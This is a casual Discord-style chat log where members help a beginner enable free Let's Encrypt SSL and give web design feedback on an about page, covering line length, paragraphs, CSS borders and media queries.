caddy or letsencrypt

#

ah okay

surreal bronze
#

fair play

brazen eagle
#

yeah provider just have a letsencrypt button

vestal carbon
mild grove
#

On my end it says it will cost $800+ lmfao

brazen eagle
#

yeah use the freebie

vestal carbon
#

there's a free version

mild grove
#

I'm running AutoSSL right now one second lol

vestal carbon
#

speaking of programming, I need to get back to finish my custom tooling

mild grove
#

okay it should be secure now lets see

#

Well it may take a bit

#

actually lol

#

Thats what my cPanel says atleast lol

brazen eagle
#

it's Let's Encrypt

mild grove
#

beautiful lol

brazen eagle
#

also running TLS 1.3

surreal bronze
mild grove
brazen eagle
mild grove
#

Ah okay, bet.

#

Now I need to create a logo, and favicon lol

#

I also want to try something with the dot and lines animation

#

Not sure how I like that

#

any opinions @surreal bronze @brazen eagle @vestal carbon

surreal bronze
#

Yeah I prefer the older one

mild grove
#

Yeah I only tested it on localhost

#

Need to create a backup of this though just incase I fuck it up lol

#

Also is this better for the banner?

clear lodge
#

I like the old school "under construction" banner πŸ˜„

mild grove
#

I wanted to try it man

#

Kinda fuels the fire of the website

#

Its still kinda basic in itself

#

not much

clear lodge
#

Fr though Id highly recommend to build mobile first

mild grove
#

Whys that

#

I dont like this about me page at all either lol

#

Need more

#

and less at the same time

clear lodge
#

Because a lot, lot of views today come from mobile devices. A lot! Nevermind that we also have 50000 different screen sizes today. If your site is broken on a small(er) screen, it instantly gives off a very unprofessional first impression. Also, dont be scared of it πŸ˜„ its actually super nice to work that way and will make your life easier and your code cleaner

#

Esp your site as it is, is super easy to build mobile first! Do it now before it gets too complex πŸ˜„

surreal bronze
mild grove
#

?

mild grove
wispy kestrelBOT
#

Gave +1 Rep to @clear lodge

mild grove
#

Not to sure about that @surreal bronze lmfao

surreal bronze
#

Like the starwars animations opening credits 🀣

#

Impractical but man would that be awesome aha

mild grove
#

This is what I have, thinking about adding something under the paragraph

#

Maybe like photos of the people who helped build the site lol

#

Hmm

#

I dont know

clear lodge
#

I would:

  • reduce about us box width ( the ideal amount of characters per line is something like 50-80 ). Too long lines are not comfortable for reading
  • then place your picture and text next o one another in 2 columns
  • ditch text align center and align your text left ( also for readability )
#

whats the url of this page? I can demonstrate it if you like

mild grove
#

Its not live yet, although I think I understand what you mean

clear lodge
#

ah i see

#

just keep in mind that this feedback is all from a UX and modern best practices perspective. Its good for users but kills creativity a bit

#

so if you want to just do creativity, then go for it πŸ˜„

#

or find a nice balance between the two

mild grove
#

I want the site to be likeable so ill definetly look into what your saying!

clear lodge
#

characters

#

her eis some article

#

you'll find a ton of them if you look online though

#

but generally the numbers vary somewhere between 50 and 80, some saying 65 is THE best

brazen eagle
mild grove
clear lodge
mild grove
#

Okay, thank you!

#

Let me add a scroll bar really quick, and then I'll look into what youre saying πŸ˜‰

#

@clear lodge Does that look better length wise per line?

#

I added a bit more white space around the test aswell

clear lodge
#

yes, but its still a large block of text

mild grove
#

trying to figure out how to isolate the text, and have it left-align rather than the whole box align left of the site

clear lodge
#

I'd break it up into a few paragraphs ( about equal size each ), and .. I'd probably align the text left

#

text-align: left;

on the box

#

or if you are using flexbox, thennnn from the top of my head its justify content

#

justify-content: flex-start

or something

mild grove
#

Of course when you say it and I try it it works...

#

I tried that before lol but it did nothing lmfao

clear lodge
#

hehe yeah CSS is annoying like that πŸ˜„

mild grove
#

Okay, and you said add space between the text? Like make it look like its less to read? lol

#

Here let me publish this live really quickly, so you can see it

clear lodge
#

So rather than putting every line in a <p>, just let the text fill the space. So insstead of:

<p>line<p>
<p>line<p>
<p>line<p>
<p>line<p>

do:

<p>
    few lines
<p>

<p>
    few lines
<p>
#

sure

mild grove
#

its live

clear lodge
#

url?

#

im lazy

mild grove
#

Don't worry about the so called 1998 banner lmfao

#

I'm still new to webdesign lol, and wanted to experiment

clear lodge
#

yeah ofc πŸ™‚ its fun!

mild grove
#

Okay, how did you do that lol

brazen eagle
#

try to avoid br

clear lodge
#

breaking up your paragraphs will be a much easier reading experience. Here I also increased the lineheight ( to 2 rem ) on p

brazen eagle
#

she used proper paragraphs and let the browser figure it out

surreal bronze
#

Personally not a big fan on the border

clear lodge
#

dont put the border on the p tag πŸ™‚ put the border on container ( that contains the text, in your case that is the div.about-content

mild grove
#

okay, so add the class="outlined-paragraph" class to the about content div?

brazen eagle
#

for the record on reduced height:

clear lodge
#

I would just call it border

#

that way, you can apply the class to any element that will get a border. There's no need to specify that, in this instance, it borders a paragraph

mild grove
#

okay

clear lodge
#

and the only styles the class "border" then specifies is the border and te border radius, no more

brazen eagle
#

keep it simple, stupid πŸ˜‰

clear lodge
#

that way you can apply it to other elements consistently

#

naming things is a tricky thing and much debated. haha

mild grove
#

When I do this, i get this:

brazen eagle
#

use multiple paragraphs

mild grove
#

well yeah

brazen eagle
#

without the br

mild grove
#

but I mean the border is gone

brazen eagle
#

you can set the class on a container div

#

or the p itself

clear lodge
#

you'll figure it out πŸ˜„ just need to fix your code a little bit

brazen eagle
#

you may want to set a max-width as well Β―_(ツ)_/Β―

mild grove
#

lmfao

#

I was thinking about that since, it likes to form fit

brazen eagle
#

instead of explicit linebreaks

#

be careful with height, it doesn't render properly on 1080p

mild grove
mild grove
brazen eagle
#

whatever makes the 65 or so characters πŸ™‚

#

or say 70-80% on wide screens

#

and 90-100% on smaller

clear lodge
#

seconded

#

you need to look into media queries

#

for a responsive design

brazen eagle
#

yes

#

"small" is usually less than about 1024 wide

#

though some subdivide at small ~800, medium up to ~1200 and large past

surreal bronze
#

What about removing the white border, moving the "About me" up, making the text length slightly bigger and splitting it up into different paragraphs ?

#

Kinda like that

mild grove
surreal bronze
#

Yeah I think it should be slightly higher

mild grove
#

I think that should just be padding, let me check

#

higher?

clear lodge
#
/* all small screens will use 100% of the width */
.about-content {
   ...
   width: 100%;
}

/* all screens with a width of 1024px minimum will use a width of 500px */
@media only screen and (min-width: 1024px){
   .about-content {
      ...
      width: 500px;
   }
}

the 1024px is an arbitrary-ish number, its up to what you set it to. Some standard sizes are 768 for tablet, 1024 for large tablet / small laptop, 1440 for normal laptop screens etc. You can set as many as you want, but I recommend only using 1 or 2. Don't make it too complicated for yourself. These are called breakpoints btw.

When we say 'mobile first' this is ( one of the things ) I mean . You first build your design only for small sizes, and then once you're happy, you add some media queries and make it look nice for desktop. You'll find that that will be super quick and easy ( the other around sucks because you're going to be fighting cascading styles! )

mild grove
#

I see

#

@surreal bronze , higher, or is that good?

clear lodge
#

and then you get spaghetti

mild grove
#

I like spaghetti lol

clear lodge
#

Spaghetti code is a pejorative phrase for unstructured and difficult-to-maintain source code. Spaghetti code can be caused by several factors, such as volatile project requirements, lack of programming style rules, and software engineers with insufficient ability or experience.

#

πŸ˜„

mild grove
#

lmfao

#

I gotcha

#

I really do appreciate the critisism, and assistance guys!

#

Thank you!

clear lodge
#

no problem

#

I love web dev so anytime you have questions

#

ask

#

πŸ˜„

mild grove
#

Lmfao

clear lodge
#

happy to code review too if you want

mild grove
#

Like I said I'm still learning

#

But for my fist public project, I think it actuall looks pretty nice

clear lodge
#

it does!

#

πŸ‘

mild grove
#

Still want to try to take away some of the myspace aspects it has though lmfao

clear lodge
#

dw, experience and experimentation will get you there

mild grove
#

Yeah, lmfao

#

I just dont know what is giving off myspace vibes lol